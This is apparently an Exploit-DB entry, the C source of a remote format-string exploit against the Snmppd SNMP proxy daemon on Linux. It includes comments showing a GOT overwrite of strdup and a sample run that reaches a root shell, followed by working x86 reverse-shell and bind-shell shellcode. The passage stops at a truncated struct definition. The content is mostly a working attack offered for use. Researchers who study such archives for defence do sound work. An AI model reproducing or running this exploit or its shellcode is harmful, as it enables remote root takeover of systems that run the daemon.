Exploit-DB #970
Description: Snmppd - SNMP Proxy Daemon Remote Format String
Type: remote
Platform: linux
Date: 2005-04-29
Author: cybertronic

Exploit:
/*
 * Snmppd SNMP proxy daemon format string exploit
 *
 * cybertronic[at]gmx[dot]net 
 *
 * 04/29/2005
 *
 * buffer space is 1024 bytes ( MAX_SNMPPD_OID_LEN defined in snmppd-0.4.5/snmppd.h )
 *
 * Apr 29 16:01:31 ctronic snmppd[6274]: fd 5: Request: XAAAA_804a81e.bfffb9d4.0.0.0.0.35[PII_REDACTED]203a.73[PII_REDACTED]3a74.41414141
 *
 * This is annoying... there is no fixed input storage.
 * Buffer`s location sometimes varies for 0x980 bytes.
 * Below is a short dump. I highjacked the GOT entry
 * of strdup. Maybe there are some fixed pointers for
 * reliable exploitation. Drop me an email if you have
 * any suggestions
 *
 *
 * __strdup
 *
 * 0xbfffb450:     0x906e6824      0x90909090      0x90909090      0x90909090
 * 0xbfffb460:     0x90909090      0x90909090      0x90909090      0x90909090
 * 0xbfffb470:     0x90909090      0x90909090      0x90909090      0x90909090
 *
 * 0xbfffb3d0:     0x906e6824      0x90909090      0x90909090      0x90909090
 * 0xbfffb3e0:     0x90909090      0x90909090      0x90909090      0x90909090
 * 0xbfffb3f0:     0x90909090      0x90909090      0x90909090      0x90909090
 *
 * 0xbfffb6d0:     0x906e6824      0x90909090      0x90909090      0x90909090
 * 0xbfffb6e0:     0x90909090      0x90909090      0x90909090      0x90909090
 * 0xbfffb6f0:     0x90909090      0x90909090      0x90909090      0x90909090
 *
 * 0xbfffbdd0:     0x906e6824      0x90909090      0x90909090      0x90909090
 * 0xbfffbde0:     0x90909090      0x90909090      0x90909090      0x90909090
 * 0xbfffbdf0:     0x90909090      0x90909090      0x90909090      0x90909090
 *
 * 0xbfffc750:     0x906e6824      0x90909090      0x90909090      0x90909090
 * 0xbfffc760:     0x90909090      0x90909090      0x90909090      0x90909090
 * 0xbfffc770:     0x90909090      0x90909090      0x90909090      0x90909090
 *
 * 0804b1a0 R_386_JUMP_SLOT   malloc
 * 0804b210 R_386_JUMP_SLOT   memset
 * 0804b1fc R_386_JUMP_SLOT   __strdup
 *
 * I succeeded on my third try with the same ret:
 *
 *               __              __                   _
 *   _______  __/ /_  ___  _____/ /__________  ____  (_)____
 *  / ___/ / / / __ \/ _ \/ ___/ __/ ___/ __ \/ __ \/ / ___/
 * / /__/ /_/ / /_/ /  __/ /  / /_/ /  / /_/ / / / / / /__
 * \___/\__, /_.___/\___/_/   \__/_/   \____/_/ /_/_/\___/
 *     /____/
 *                                                                                                            
 * --[ exploit by : cybertronic - cybertronic[at]gmx[dot]net
 * --[ connecting to localhost:164...done!
 * --[ select shellcode
 *      |
 *      |- [0] bind
 *      `- [1] cb
 * >> 0
 * --[ using bind shellcode
 * --[ GOT: 0x0804b1fc
 * --[ RET: 0xbfffc750
 * --[ sending packet [ 1023 bytes ]...done!
 * --[ sleeping 5 seconds before connecting to localhost:20000...
 * --[ connecting to localhost:20000...done!
 * --[ b0x pwned - h4ve phun
 * id
 * uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
 *
 *
 */

#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <unistd.h>

#define NOP     0x90

#define RED     "\E[31m\E[1m"
#define GREEN   "\E[32m\E[1m"
#define YELLOW  "\E[33m\E[1m"
#define BLUE    "\E[34m\E[1m"
#define NORMAL  "\E[m"

int connect_to_remote_host ( char* tip, unsigned short tport );
int exploit ( int s, unsigned long smashaddr, unsigned long writeaddr, char* cbip );
int isip ( char *ip );
int shell ( int s, char* tip );
int usage ( char* name );

void start_reverse_handler ( unsigned short cbport );
void connect_to_bindshell ( char* tip, unsigned short bport );
void header ();
void wait ( int sec );

/***********************
 * Linux x86 Shellcode *
 ***********************/

//131 bytes connect back port: 45295
char reverseshell[] =
"\x31\xc0\x31\xdb\x31\xc9\x51\xb1"
"\x06\x51\xb1\x01\x51\xb1\x02\x51"
"\x89\xe1\xb3\x01\xb0\x66\xcd\x80"
"\x89\xc2\x31\xc0\x31\xc9\x51\x51"
"\x68\x41\x42\x43\x44\x66\x68\xb0"
"\xef\xb1\x02\x66\x51\x89\xe7\xb3"
"\x10\x53\x57\x52\x89\xe1\xb3\x03"
"\xb0\x66\xcd\x80\x31\xc9\x39\xc1"
"\x74\x06\x31\xc0\xb0\x01\xcd\x80"
"\x31\xc0\xb0\x3f\x89\xd3\xcd\x80"
"\x31\xc0\xb0\x3f\x89\xd3\xb1\x01"
"\xcd\x80\x31\xc0\xb0\x3f\x89\xd3"
"\xb1\x02\xcd\x80\x31\xc0\x31\xd2"
"\x50\x68\x6e\x2f\x73\x68\x68\x2f"
"\x2f\x62\x69\x89\xe3\x50\x53\x89"
"\xe1\xb0\x0b\xcd\x80\x31\xc0\xb0"
"\x01\xcd\x80";

//92 bytes bindcode port: 20000
char bindshell[] =
"\x31\xdb"				// xor ebx, ebx
"\xf7\xe3"				// mul ebx
"\xb0\x66"				// mov al, 102
"\x53"					// push ebx
"\x43"					// inc ebx
"\x53"					// push ebx
"\x43"					// inc ebx
"\x53"					// push ebx
"\x89\xe1"				// mov ecx, esp
"\x4b"					// dec ebx
"\xcd\x80"				// int 80h
"\x89\xc7"				// mov edi, eax
"\x52"					// push edx
"\x66\x68\x4e\x20"			// push word 8270
"\x43"					// inc ebx
"\x66\x53"				// push bx
"\x89\xe1"				// mov ecx, esp
"\xb0\xef"				// mov al, 239
"\xf6\xd0"				// not al
"\x50"					// push eax
"\x51"					// push ecx
"\x57"					// push edi
"\x89\xe1"				// mov ecx, esp
"\xb0\x66"				// mov al, 102
"\xcd\x80"				// int 80h
"\xb0\x66"				// mov al, 102
"\x43"					// inc ebx
"\x43"					// inc ebx
"\xcd\x80"				// int 80h
"\x50"					// push eax
"\x50"					// push eax
"\x57"					// push edi
"\x89\xe1"				// mov ecx, esp
"\x43"					// inc ebx
"\xb0\x66"				// mov al, 102
"\xcd\x80"				// int 80h
"\x89\xd9"				// mov ecx, ebx
"\x89\xc3"				// mov ebx, eax
"\xb0\x3f"				// mov al, 63
"\x49"					// dec ecx
"\xcd\x80"				// int 80h
"\x41"					// inc ecx
"\xe2\xf8"				// loop lp
"\x51"					// push ecx
"\x68\x6e\x2f\x73\x68"			// push dword 68732f6eh
"\x68\x2f\x2f\x62\x69"			// push dword 69622f2fh
"\x89\xe3"				// mov ebx, esp
"\x51"					// push ecx
"\x53"					// push ebx
"\x89\xe1"				// mov ecx, esp
"\xb0\xf4"				// mov al, 244
"\xf6\xd0"				// not al
"\xcd\x80";				// int 80h

typedef struct